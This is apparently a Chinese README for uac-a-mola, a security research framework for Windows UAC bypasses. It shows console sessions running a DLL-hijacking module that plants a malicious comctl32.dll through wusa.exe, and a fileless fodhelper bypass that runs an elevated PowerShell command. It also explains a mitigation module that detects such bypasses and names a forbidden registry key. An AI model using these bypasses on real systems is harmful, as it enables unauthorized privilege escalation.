要安装 uac-a-mola,您需要执行以下操作:
pip install -r requirements.txt
Uac-a-mola现在可以用了!您可以通过输入以下内容来测试其功能:
cd uacamola
python uacamola.py
这是一个简短的部分,解释了uac-a-mola某些模块的使用方法:
使用攻击模块非常简单,几乎不需要解释。您只需使用load命令在框架中加载相应的模块,使用show命令查看选项或输入参数,使用run命令执行模块:
uac-a-mola> load .\modules\attack\dll_hijacking_wusa.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[dll_hijacking_wusa.py]> show
Author
------
|_Pablo Gonzalez (pablo@11paths or @pablogonzalezpe)
Name
----
|_Copy DLL with wusa.exe
Description
-----------
|_It's used for copy a DLL in privilege path (wusa method win7/8/8.1)
Options (Field = Value)
-----------------------
|_name_dll = comctl32.dll (name of DLL)
|
|_binary = compmgmtlauncher.exe (Path to the vulnerable binary)
|
|_malicious_dll = C:\Users\ieuser\Desktop\uac-a-mola\uacamola\payloads\comctl32\comctl32.dll (Path to a malicious dll)
|
|_name_folder = x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2 (Name folder)
|
|_destination_path = C:\Windows\System32 (Destination path)
uac-a-mola[dll_hijacking_wusa.py]> run
[+] Running module...
creating path...
SUCCESS: done
copying dll in path...
SUCCESS: done
creating DDF file...
SUCCESS: done
creating CAB file...
SUCCESS: done
launch wusa.exe /extract
SUCCESS: done! got root? :D
removing path...
SUCCESS: done
uac-a-mola[dll_hijacking_wusa.py]>
另一个示例:
uac-a-mola> load modules\attack\fileless_fodhelper.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[fileless_fodhelper.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_Fileless Fodhelper
Description
-----------
|_Fileless - Fodhelper bypass UAC
Options (Field = Value)
-----------------------
|_instruction = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -C echo mola > c:\pwned.txt (Elevated Code)
uac-a-mola[fileless_fodhelper.py]> set instruction powershell.exe
uac-a-mola[fileless_fodhelper.py]> run
[+] Running module...
使用缓解方法也相当简单,但它们内部结构稍显复杂,将在本节中解释。关于其使用,首先要做的是加载可用的缓解模块:
uac-a-mola> load modules\mitigation\bypass_mitigation.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[bypass_mitigation.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_This module will instrument the binaries selected and detect possible UAC bypasses
Description
-----------
|_Bypass Mitigation
Options (Field = Value)
-----------------------
|_[REQUIRED] password = None (Password for connection)
|
|_[REQUIRED] binlist_file = None (File with a list of binaries to hook, one on each line)
|
|_port = 5555 (Port for connection)
在这种情况下,我们需要设置一个密码,代理将使用该密码与将在uacamola框架中执行的监听器进行通信。我们可以在路径_uacamola/support/agents_中找到代理,打开这些文件可以看到密码:
fodhelper_ag = Agent('fodhelper.exe', 'localhost', 5555, 'uacamola')
fodhelper_ag.send_forbidden("Software\\Classes\\ms-settings\\Shell\\Open\\command")
_uacamola_将是用作身份验证和通信的密码,但我们可以更改它。另一个必需的参数是包含要监视的二进制文件列表的文件路径,这些二进制文件必须在代理路径中有一个agent.pyw文件。
uac-a-mola[bypass_mitigation.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_This module will instrument the binaries selected and detect possible UAC bypasses
Description
-----------
|_Bypass Mitigation
Options (Field = Value)
-----------------------
|_password = uacamola (Password for connection)
|
|_binlist_file = bins.txt (File with a list of binaries to hook, one on each line)
|
|_port = 5555 (Port for connection)
uac-a-mola[bypass_mitigation.py]> run
[+] Running module...
[+] Executing the listener...
--- Press ENTER for quit mitigate mode ---
只需填写这些字段并执行_run_命令,uacamola就会开始监控列表中出现的所有与UAC绕过相关的活动。如果检测到危险活动,它将自动修剪危险的(文件系统或注册表的)分支,并以安全的方式执行二进制文件。要退出此模式,我们只需按_ENTER_键。
请将任何错误报告至 [email protected] 或在GitHub上打开一个问题。感谢您的合作!
本软件按“原样”提供,不提供任何明示或暗示的担保,包括但不限于适销性、特定用途适用性和非侵权性的担保。在任何情况下,作者或版权持有人均不对因使用本软件或与本软件的使用或其他交易有关的任何索赔、损害或其他责任负责,无论是合同诉讼、侵权行为还是其他形式。每当您向包含许可证声明的仓库做出贡献时,您将根据相同的条款许可您的贡献,并且您同意您有权根据这些条款许可您的贡献。如果您有单独的协议以不同的条款许可您的贡献,例如贡献者许可协议,则该协议将取代本条款。